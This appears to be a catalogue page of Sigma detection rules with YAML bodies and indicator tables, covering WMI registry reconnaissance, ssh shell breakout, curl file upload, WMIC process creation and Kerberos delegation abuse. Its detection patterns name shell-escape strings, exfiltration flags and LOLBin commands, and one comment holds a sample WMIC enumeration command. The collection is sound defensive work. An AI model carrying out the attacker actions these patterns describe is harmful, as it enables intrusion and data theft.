field:"Image" kind:ends_with value:"\regsvr32.exe"
OriginalFileNameeq
  • REGSVR32.EXE corpus 37 (sigma 17, elastic 15, splunk 5)
field:"OriginalFileName" kind:eq value:"REGSVR32.EXE"

Powershell Suspicious Win32_PnPEntity

#
Status
test
Severity
low
Author
frack113
Source
github.com/SigmaHQ/sigma

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.

Known False Positives

  • Admin script

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

Rule Body

title: Powershell Suspicious Win32_PnPEntity
id: b26647de-4feb-4283-af6b-6117661283c5
status: test
description: Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md
author: frack113
date: 2021-08-23
modified: 2022-12-25
tags:
    - attack.discovery
    - attack.t1120
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains: Win32_PnPEntity
    condition: selection
falsepositives:
    - Admin script
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ScriptBlockText|contains: Win32_PnPEntity

Indicators

These rows show field, operator, and value matches.

Registry Enumeration via WMI Stdregprov

#
Status
experimental
Severity
medium
Author
Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the usage of wmic.exe to enumerate or read Windows registry via the WMI StdRegProv class read methods (EnumKey, EnumValues, GetStringValue, etc.). While registry reads are common, attackers may use this technique to perform reconnaissance and discover sensitive configuration values, credentials, or installed software. The use of WMI as an alternative to standard tools like reg.exe can indicate an attempt to evade detection focused on traditional registry query commands.

Known False Positives

  • Legitimate administrative activity

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Registry Enumeration via WMI Stdregprov
id: a0e417e2-2fa1-40da-b6d2-e094cd5e1191
related:
    - id: c453ab7a-1f5c-4716-a3b4-dea8135fb43a # Registry Manipulation via WMI Stdregprov
      type: similar
status: experimental
description: |
    Detects the usage of wmic.exe to enumerate or read Windows registry via the WMI StdRegProv class read methods (EnumKey, EnumValues, GetStringValue, etc.).
    While registry reads are common, attackers may use this technique to perform reconnaissance and discover sensitive configuration values, credentials, or installed software.
    The use of WMI as an alternative to standard tools like reg.exe can indicate an attempt to evade detection focused on traditional registry query commands.
references:
    - https://trustedsec.com/blog/command-line-underdog-wmic-in-action
    - https://trustedsec.com/blog/wmi-for-script-kiddies
    - https://learn.microsoft.com/en-us/previous-versions/windows/desktop/regprov/stdregprov
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-07-30
modified: 2026-06-19
tags:
    - attack.execution
    - attack.t1047
    - attack.discovery
    - attack.t1012
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:   # Example command simulated:  WMIC  /NameSpace:\\root\default Class StdRegProv Call EnumKey hDefKey=&H80000002 sSubKeyName="Software\Microsoft\Windows\CurrentVersion\Uninstall"
        - Image|endswith: '\wmic.exe'
        - OriginalFileName: 'wmic.exe'
    selection_cli:
        CommandLine|contains|all:
            - 'stdregprov'
            - 'call'
        CommandLine|contains:
            - 'CheckAccess'
            - 'EnumKey'
            - 'EnumValues'
            - 'GetBinaryValue'
            - 'GetDWORDValue'
            - 'GetExpandedStringValue'
            - 'GetMultiStringValue'
            - 'GetQWORDValue'
            - 'GetSecurityDescriptor'
            - 'GetStringValue'
    condition: all of selection_*
falsepositives:
    - Legitimate administrative activity
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\wmic.exe'
    - OriginalFileName: 'wmic.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - 'stdregprov'
        - 'call'
    CommandLine|contains:
        - 'CheckAccess'
        - 'EnumKey'
        - 'EnumValues'
        - 'GetBinaryValue'
        - 'GetDWORDValue'
        - 'GetExpandedStringValue'
        - 'GetMultiStringValue'
        - 'GetQWORDValue'
        - 'GetSecurityDescriptor'
        - 'GetStringValue'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • CheckAccess
  • EnumKey
  • EnumValues
  • GetBinaryValue
  • GetDWORDValue
  • GetExpandedStringValue
  • GetMultiStringValue
  • GetQWORDValue
  • GetSecurityDescriptor
  • GetStringValue
  • call corpus 8 (sigma 6, splunk 2)
  • stdregprov corpus 2 (sigma 2)
field:"CommandLine" kind:match
Imageends_with
  • \wmic.exe corpus 62 (sigma 62)
field:"Image" kind:ends_with value:"\wmic.exe"
OriginalFileNameeq
  • wmic.exe corpus 74 (sigma 38, elastic 18, splunk 18)
field:"OriginalFileName" kind:eq value:"wmic.exe"

Remote Schedule Task Recon via AtScv

#
Status
test
Severity
high
Author
Sagie Dulce, Dekel Paz
Source
github.com/SigmaHQ/sigma

Detects remote RPC calls to read information about scheduled tasks via AtScv

MITRE ATT&CK Coverage

TacticTechniques
DiscoveryNo specific technique

Telemetry Coverage

Rule Body

title: Remote Schedule Task Recon via AtScv
id: f177f2bc-5f3e-4453-b599-57eefce9a59c
status: test
description: Detects remote RPC calls to read information about scheduled tasks via AtScv
references:
    - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931
    - https://github.com/zeronetworks/rpcfirewall
    - https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md
    - https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
author: Sagie Dulce, Dekel Paz
date: 2022-01-01
tags:
    - attack.discovery
logsource:
    product: rpc_firewall
    category: application
    definition: 'Requirements: install and apply the RPC Firewall to all processes with "audit:true action:block uuid:1ff70682-0a51-30e8-076d-740be8cee98b"'
detection:
    selection:
        EventLog: RPCFW
        EventID: 3
        InterfaceUuid: 1ff70682-0a51-30e8-076d-740be8cee98b
    filter:
        OpNum:
            - 0
            - 1
    condition: selection and not filter
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    EventLog: RPCFW
    EventID: 3
    InterfaceUuid: 1ff70682-0a51-30e8-076d-740be8cee98b

Stage 2: not filter

filter:
    OpNum:
        - 0
        - 1

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
EventLogeq
  • RPCFW corpus 17 (sigma 17)
field:"EventLog" kind:eq value:"RPCFW"
InterfaceUuideq
  • 1ff70682-0a51-30e8-076d-740be8cee98b corpus 2 (sigma 2)
field:"InterfaceUuid" kind:eq value:"1ff70682-0a51-30e8-076d-740be8cee98b"

Exclusions

The rule actively suppresses these predicates.

Rubeus Kerberos constrained delegation abuse (S4U2Proxy)

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker abuse Kerberos constrained delegation in order to escalate privileges.

Known False Positives

  • Accounts with constrained delegation enabled

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

Rule Body

title: Rubeus Kerberos constrained delegation abuse (S4U2Proxy)
description: Detects scenarios where an attacker abuse Kerberos constrained delegation in order to escalate privileges.
references:
- https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
- https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation
- https://www.guidepointsecurity.com/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/
- https://stealthbits.com/blog/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/
- https://www.thehacker.recipes/ad/movement/kerberos/delegations#talk
tags:
- attack.credential_access
- attack.t1558
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TransmittedServices|contains: '@'
  filter:
    - ServiceSid|endswith: '-502' # Krbtgt account SID is excluded as it may be related to "Unconstrained Domain Persistence" (see other rule)
    - TargetUserName: '%allowed_S4U2Proxy_accounts%' # User accounts allowed to perform constrained delegation
    - IpAddress: '%domain_controllers_ips%'          # reduce amount of false positives
  condition: selection and not filter
falsepositives:
- Accounts with constrained delegation enabled
level: high

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
  EventID: 4769
  TransmittedServices|contains: '@'

Stage 2: not filter

filter:
  - ServiceSid|endswith: '-502'
  - TargetUserName: '%allowed_S4U2Proxy_accounts%'
  - IpAddress: '%domain_controllers_ips%'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TransmittedServicesmatch
  • @ corpus 2 (sigma 2)
field:"TransmittedServices" kind:match value:"@"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
IpAddresseq%domain_controllers_ips%excludes:IpAddress field:"IpAddress" value:"%domain_controllers_ips%"
ServiceSidends_with-502excludes:ServiceSid field:"ServiceSid" value:"-502"
TargetUserNameeq%allowed_S4U2Proxy_accounts%excludes:TargetUserName field:"TargetUserName" value:"%allowed_S4U2Proxy_accounts%"

Shell Invocation Via Ssh - Linux

#
Status
test
Severity
high
Author
Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
Source
github.com/SigmaHQ/sigma

Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Shell Invocation Via Ssh - Linux
id: 8737b7f6-8df3-4bb7-b1da-06019b99b687
status: test
description: |
    Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
references:
    - https://gtfobins.github.io/gtfobins/ssh/
    - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-08-29
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith: '/ssh'
        CommandLine|contains:
            - 'ProxyCommand=;'
            - 'permitlocalcommand=yes'
            - 'localhost'
    selection_cli:
        CommandLine|contains:
            - '/bin/bash'
            - '/bin/dash'
            - '/bin/fish'
            - '/bin/sh'
            - '/bin/zsh'
            - 'sh 0<&2 1>&2'
            - 'sh 1>&2 0<&2'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    Image|endswith: '/ssh'
    CommandLine|contains:
        - 'ProxyCommand=;'
        - 'permitlocalcommand=yes'
        - 'localhost'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains:
        - '/bin/bash'
        - '/bin/dash'
        - '/bin/fish'
        - '/bin/sh'
        - '/bin/zsh'
        - 'sh 0<&2 1>&2'
        - 'sh 1>&2 0<&2'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • /bin/bash corpus 8 (sigma 8)
  • /bin/dash corpus 7 (sigma 7)
  • /bin/fish corpus 7 (sigma 7)
  • /bin/sh corpus 12 (sigma 12)
  • /bin/zsh corpus 8 (sigma 8)
  • ProxyCommand=;
  • localhost corpus 2 (sigma 1, splunk 1)
  • permitlocalcommand=yes corpus 2 (sigma 2)
  • sh 0<&2 1>&2
  • sh 1>&2 0<&2
field:"CommandLine" kind:match
Imageends_with
  • /ssh corpus 2 (sigma 2)
field:"Image" kind:ends_with value:"/ssh"

Space After Filename - macOS

#
Status
test
Severity
low
Author
remotephone
Source
github.com/SigmaHQ/sigma

Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.

Known False Positives

  • Mistyped commands or legitimate binaries named to match the pattern

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Space After Filename - macOS
id: b6e2a2e3-2d30-43b1-a4ea-071e36595690
status: test
description: Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md
author: remotephone
date: 2021-11-20
modified: 2023-01-04
tags:
    - attack.stealth
    - attack.t1036.006
logsource:
    product: macos
    category: process_creation
detection:
    selection1:
        CommandLine|endswith: ' '
    selection2:
        Image|endswith: ' '
    condition: 1 of selection*
falsepositives:
    - Mistyped commands or legitimate binaries named to match the pattern
level: low

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection1

selection1:
    CommandLine|endswith: ' '

Stage 2: selection2

selection2:
    Image|endswith: ' '

Indicators

These rows show field, operator, and value matches.

Successful Logins and Signups from Flagged IPs

#
Status
experimental
Severity
medium
Time window
5d
Author
Okta
Source
github.com/auth0/auth0-customer-detections

Detects when successful login and signup events are observed from IP addresses that have also been flagged by a tenant's attack protection features. The correlation of these suspicious IPs with successful login and signup events can indicate a compromised account or a successful credential-based attack (e.g., credential stuffing). This detection includes events from Suspicious IP Throttling, Breached Password Detection, Brute-force protection, and Bot Detection.

Known False Positives

  • This rule is designed for threat hunting and to be a starting point for further investigation.
  • The hunting window is too wide and an adversary has already moved on to other IPs and the indicated IPs belong to a legit user since then.

MITRE ATT&CK Coverage

TacticTechniques
Initial AccessNo specific technique
Credential AccessNo specific technique

Rule Body

title: Successful Logins and Signups from Flagged IPs
name: selected_events
id: a9d48080-5b88-4e4d-8b6d-45696f85c444
status: experimental
description: |
    Detects when successful login and signup events are observed from IP addresses that have also been flagged
    by a tenant's attack protection features.
    The correlation of these suspicious IPs with successful login and signup events can indicate a compromised account
    or a successful credential-based attack (e.g., credential stuffing).
    This detection includes events from Suspicious IP Throttling, Breached Password Detection, Brute-force protection, and Bot Detection.
author: Okta
date: 2025-09-13
modified: 2025-09-17
logsource:
    product: auth0
detection:
    selection_attack_protection:
        data.type:
            # - reset_pwd_leak # breach password protection
            # - pwd_leak # breach password protection
            # - signup_pwd_leak # breach password protection
            # - limit_wc # brute force protection
            # - limit_sul # suspicious IP throttling
            # - limit_mu # suspicious IP throttling
    selection_bot_detection:
        data.type:
            - pla # bot detection
        data.details.requiresVerification:
            - true
    selection_success_auth:
        data.type:
            - s
            # - ss
    condition: selection_attack_protection or selection_bot_detection or selection_success_auth
explanation: >
    This detection collects IP addresses associated with behaviors that have been flagged by attack protection features.
    These IPs are correlated with successful login and signups events giving a list of potentially compromised user accounts.
    The Splunk query below consumes all events from attack protection features and compares to both successful login and signup.
    The Sigma detection has a more narrow scope.
    It uses a correlated rule, which is configured in two parts (base and correlation, see https://sigmahq.io/docs/meta/correlations.html).
    Due to limitations in Sigma syntax, a meaningful search result (a list of IPs with both suspicious and successful events)
    can only be obtained by correlating a pair of one attack protection event (i.e. reset_pwd_leak or pwd_leak or signup_pwd_leak
    or limit_wc or limit_sul or limit_mu or pla) and one authentication event (i.e. 's' or 'ss').
    To refine the search, uncomment/comment the specific events you wish to monitor/exclude.
    For example, you can search those successful logins (i.e. s event) observed from IPs flagged by the bot detection (i.e. pla event).
    Alternatively, you can create separate, dedicated detections for each pair of attack protection and authentication events.
    This will give you 14 separate detection rules to cover all possible combinations.
splunk: |
    index=auth0 data.tenant_name="{your-tenant-name}"
    data.type IN (reset_pwd_leak pwd_leak signup_pwd_leak limit_wc limit_sul limit_mu ss s)
    OR (data.type=pla AND data.details.requiresVerification=true)
    | fields data.type data.user_id, data.ip, data.user_name
    ``` Group all events by IPs ```
    | stats values(data.type) as event_types, values(data.user_id) as user_ids
     values(data.user_name) as user_names by data.ip
     ``` Filter those IPs with presence of attack protection and successful authentication events ```
    | where (match(event_types, "reset_pwd_leak") OR match(event_types, "pwd_leak") OR match(event_types, "signup_pwd_leak")
     OR match(event_types, "limit_wc") OR match(event_types, "limit_sul") OR match(event_types, "limit_mu")
     OR match(event_types, "pla")) AND (match(event_types, "ss") OR match(event_types, "s"))
    | table data.ip, event_types, user_ids, user_names
comments:
    - The Splunk query above shall be tuned to reflect a valid tenant name.
    - Adjust the detection to monitor the attack feature in use by your environment.
tenant_logs: |
    type: (reset_pwd_leak pwd_leak signup_pwd_leak limit_wc limit_sul limit_mu pla)
prevention:
    - Enforcing strong MFA authenticators such as phishing-resistance with FIDO2 WebAuthn.
    - Enable passkey authentication to protect your users from password-based attacks like credentials stuffing
    - Introduce additional defense layers, such as third-party bot detection services, combining the customer domain and Tenant ACL features.
falsepositives:
    - This rule is designed for threat hunting and to be a starting point for further investigation.
    - The hunting window is too wide and an adversary has already moved on to other IPs and the indicated IPs belong to a legit user since then.
level: medium
tags:
    - attack.credential-access
    - attack.initial-access
---
title: Successful logins from suspicious IPs
id: f7694180-df6d-4d65-b733-4b9c13785f43
correlation:
    type: value_count
    rules:
        - selected_events # Referenced here
    group-by:
        - data.ip
    timespan: 5d
    condition:
        gte: 2
        field: data.type

Stages and Predicates

Stage 0: condition

selection_attack_protection or selection_bot_detection or selection_success_auth

Stage 1: selection_attack_protection

selection_attack_protection:
    data.type:

Stage 2: selection_bot_detection

selection_bot_detection:
    data.type:
        - pla
    data.details.requiresVerification:
        - true

Stage 3: selection_success_auth

selection_success_auth:
    data.type:
        - s

Indicators

These rows show field, operator, and value matches.

Suspicious Curl File Upload - Linux

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)
Source
github.com/SigmaHQ/sigma

Detects a suspicious curl process start the adds a file to a web request

Known False Positives

  • Scripts created by developers and admins

MITRE ATT&CK Coverage

TacticTechniques
Command & Control
Exfiltration

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Suspicious Curl File Upload - Linux
id: 00b90cc1-17ec-402c-96ad-3a8117d7a582
related:
    - id: 00bca14a-df4e-4649-9054-3f2aa676bc04
      type: derived
status: test
description: Detects a suspicious curl process start the adds a file to a web request
references:
    - https://twitter.com/d1r4c/status/1279042657508081664
    - https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file
    - https://curl.se/docs/manpage.html
    - https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
author: Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)
date: 2022-09-15
modified: 2023-05-02
tags:
    - attack.exfiltration
    - attack.command-and-control
    - attack.t1567
    - attack.t1105
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith: '/curl'
    selection_cli:
        - CommandLine|contains:
              - ' --form' # Also covers the "--form-string"
              - ' --upload-file '
              - ' --data '
              - ' --data-' # For flags like: "--data-ascii", "--data-binary", "--data-raw", "--data-urlencode"
        - CommandLine|re: '\s-[FTd]\s' # We use regex to ensure a case sensitive argument detection
    filter_optional_localhost:
        CommandLine|contains:
            - '://localhost'
            - '://127.0.0.1'
    condition: all of selection_* and not 1 of filter_optional_*
falsepositives:
    - Scripts created by developers and admins
level: medium

Stages and Predicates

Stage 0: condition

all of selection_* and not 1 of filter_optional_*

Stage 1: selection_img

selection_img:
    Image|endswith: '/curl'

Stage 2: selection_cli

selection_cli:
    - CommandLine|contains:
          - ' --form'
          - ' --upload-file '
          - ' --data '
          - ' --data-'
    - CommandLine|re: '\s-[FTd]\s'

Stage 3: not filter_optional_localhost

filter_optional_localhost:
    CommandLine|contains:
        - '://localhost'
        - '://127.0.0.1'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • --data corpus 3 (sigma 3)
  • --data- corpus 2 (sigma 2)
  • --form corpus 3 (sigma 3)
  • --upload-file corpus 2 (sigma 2)
field:"CommandLine" kind:match
CommandLineregex_match
  • \s-[FTd]\s corpus 3 (sigma 3)
field:"CommandLine" kind:regex_match value:"\s-[FTd]\s"
Imageends_with
  • /curl corpus 22 (sigma 22)
field:"Image" kind:ends_with value:"/curl"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLinematch://127.0.0.1excludes:CommandLine field:"CommandLine" value:"://127.0.0.1"
CommandLinematch://localhostexcludes:CommandLine field:"CommandLine" value:"://localhost"

Suspicious DotNET CLR Usage Log Artifact

#
Status
test
Severity
high
Author
frack113, omkar72, oscd.community, Wojciech Lesicki
Source
github.com/SigmaHQ/sigma

Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.

Known False Positives

  • Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: Suspicious DotNET CLR Usage Log Artifact
id: e0b06658-7d1d-4cd3-bf15-03467507ff7c
related:
    - id: 4508a70e-97ef-4300-b62b-ff27992990ea
      type: derived
    - id: e4b63079-6198-405c-abd7-3fe8b0ce3263
      type: obsolete
status: test
description: Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.
references:
    - https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/
    - https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml
    - https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008
    - https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html
author: frack113, omkar72, oscd.community, Wojciech Lesicki
date: 2022-11-18
modified: 2023-02-23
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: file_event
    product: windows
    definition: 'Requirements: UsageLogs folder must be monitored by the sysmon configuration'
detection:
    selection:
        TargetFilename|endswith:
            - '\UsageLogs\cmstp.exe.log'
            - '\UsageLogs\cscript.exe.log'
            - '\UsageLogs\mshta.exe.log'
            - '\UsageLogs\msxsl.exe.log'
            - '\UsageLogs\regsvr32.exe.log'
            - '\UsageLogs\rundll32.exe.log'
            - '\UsageLogs\svchost.exe.log'
            - '\UsageLogs\wscript.exe.log'
            - '\UsageLogs\wmic.exe.log'
    filter_main_rundll32:
        # This filter requires the event to be enriched by additional information such as ParentImage and CommandLine activity
        ParentImage|endswith: '\MsiExec.exe'
        ParentCommandLine|contains: ' -Embedding'
        Image|endswith: '\rundll32.exe'
        CommandLine|contains|all:
            - 'Temp'
            - 'zzzzInvokeManagedCustomActionOutOfProc'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    TargetFilename|endswith:
        - '\UsageLogs\cmstp.exe.log'
        - '\UsageLogs\cscript.exe.log'
        - '\UsageLogs\mshta.exe.log'
        - '\UsageLogs\msxsl.exe.log'
        - '\UsageLogs\regsvr32.exe.log'
        - '\UsageLogs\rundll32.exe.log'
        - '\UsageLogs\svchost.exe.log'
        - '\UsageLogs\wscript.exe.log'
        - '\UsageLogs\wmic.exe.log'

Stage 2: not filter_main_rundll32

filter_main_rundll32:
    ParentImage|endswith: '\MsiExec.exe'
    ParentCommandLine|contains: ' -Embedding'
    Image|endswith: '\rundll32.exe'
    CommandLine|contains|all:
        - 'Temp'
        - 'zzzzInvokeManagedCustomActionOutOfProc'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetFilenameends_with
  • \UsageLogs\cmstp.exe.log
  • \UsageLogs\cscript.exe.log
  • \UsageLogs\mshta.exe.log
  • \UsageLogs\msxsl.exe.log
  • \UsageLogs\regsvr32.exe.log
  • \UsageLogs\rundll32.exe.log
  • \UsageLogs\svchost.exe.log
  • \UsageLogs\wmic.exe.log
  • \UsageLogs\wscript.exe.log
field:"TargetFilename" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

Suspicious Process Created Via Wmic.EXE

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious Process Created Via Wmic.EXE
id: 3c89a1e8-0fba-449e-8f1b-8409d6267ec8
related:
    - id: 526be59f-a573-4eea-b5f7-f0973207634d # Generic
      type: derived
status: test
description: Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc.
references:
    - https://thedfirreport.com/2020/10/08/ryuks-return/
    - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2020-10-12
modified: 2023-02-14
tags:
    - attack.execution
    - attack.t1047
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'process '
            - 'call '
            - 'create '
        CommandLine|contains:
            # Add more susupicious paths and binaries as you see fit in your env
            - 'rundll32'
            - 'bitsadmin'
            - 'regsvr32'
            - 'cmd.exe /c '
            - 'cmd.exe /k '
            - 'cmd.exe /r '
            - 'cmd /c '
            - 'cmd /k '
            - 'cmd /r '
            - 'powershell'
            - 'pwsh'
            - 'certutil'
            - 'cscript'
            - 'wscript'
            - 'mshta'
            - '\Users\Public\'
            - '\Windows\Temp\'
            - '\AppData\Local\'
            - '%temp%'
            - '%tmp%'
            - '%ProgramData%'
            - '%appdata%'
            - '%comspec%'
            - '%localappdata%'
    condition: selection
falsepositives:
    - Unknown
level: high
simulation:
    - type: atomic red team
      name: WMI Execute rundll32
      technique: T1047
      atomic_guid: 00738d2a-4651-4d76-adf2-c43a41dfb243
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_wmic_susp_process_creation/info.yml

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|contains|all:
        - 'process '
        - 'call '
        - 'create '
    CommandLine|contains:
        - 'rundll32'
        - 'bitsadmin'
        - 'regsvr32'
        - 'cmd.exe /c '
        - 'cmd.exe /k '
        - 'cmd.exe /r '
        - 'cmd /c '
        - 'cmd /k '
        - 'cmd /r '
        - 'powershell'
        - 'pwsh'
        - 'certutil'
        - 'cscript'
        - 'wscript'
        - 'mshta'
        - '\Users\Public\'
        - '\Windows\Temp\'
        - '\AppData\Local\'
        - '%temp%'
        - '%tmp%'
        - '%ProgramData%'
        - '%appdata%'
        - '%comspec%'
        - '%localappdata%'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • %ProgramData% corpus 4 (sigma 4)
  • %appdata% corpus 11 (sigma 11)
  • %comspec% corpus 6 (sigma 5, splunk 1)
  • %localappdata% corpus 4 (sigma 4)
  • %temp% corpus 14 (sigma 13, kusto 1)
  • %tmp% corpus 13 (sigma 13)
  • \AppData\Local\ corpus 11 (sigma 10, elastic 1)
  • \Users\Public\ corpus 18 (sigma 17, elastic 1)
  • \Windows\Temp\ corpus 13 (sigma 12, elastic 1)
  • bitsadmin corpus 10 (sigma 10)
  • call
  • certutil corpus 10 (sigma 10)
  • cmd /c corpus 4 (sigma 4)
  • cmd /k corpus 4 (sigma 4)
  • cmd /r corpus 4 (sigma 4)
  • cmd.exe /c corpus 6 (sigma 6)
  • cmd.exe /k corpus 5 (sigma 5)
  • cmd.exe /r corpus 5 (sigma 5)
  • create
  • cscript corpus 15 (sigma 15)
  • mshta corpus 14 (sigma 14)
  • powershell corpus 24 (sigma 24)
  • process corpus 2 (sigma 2)
  • pwsh corpus 7 (sigma 7)
  • regsvr32 corpus 15 (sigma 15)
  • rundll32 corpus 23 (sigma 23)
  • wscript corpus 16 (sigma 16)
field:"CommandLine" kind:match

WhoAmI as Parameter

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

Rule Body

title: WhoAmI as Parameter
id: e9142d84-fbe0-401d-ac50-3e519fb00c89
status: test
description: Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)
references:
    - https://twitter.com/blackarrowsec/status/1463805700602224645?s=12
author: Florian Roth (Nextron Systems)
date: 2021-11-29
modified: 2022-12-25
tags:
    - attack.discovery
    - attack.t1033
    - car.2016-03-001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: '.exe whoami'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|contains: '.exe whoami'

Indicators

These rows show field, operator, and value matches.

Windows Defender Exclusion Registry Key - Write Access Requested

#
Status
test
Severity
medium
Author
@BarryShooshooga, Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Telemetry Coverage

Rule Body

title: Windows Defender Exclusion Registry Key - Write Access Requested
id: e9c8808f-4cfb-4ba9-97d4-e5f3beaa244d
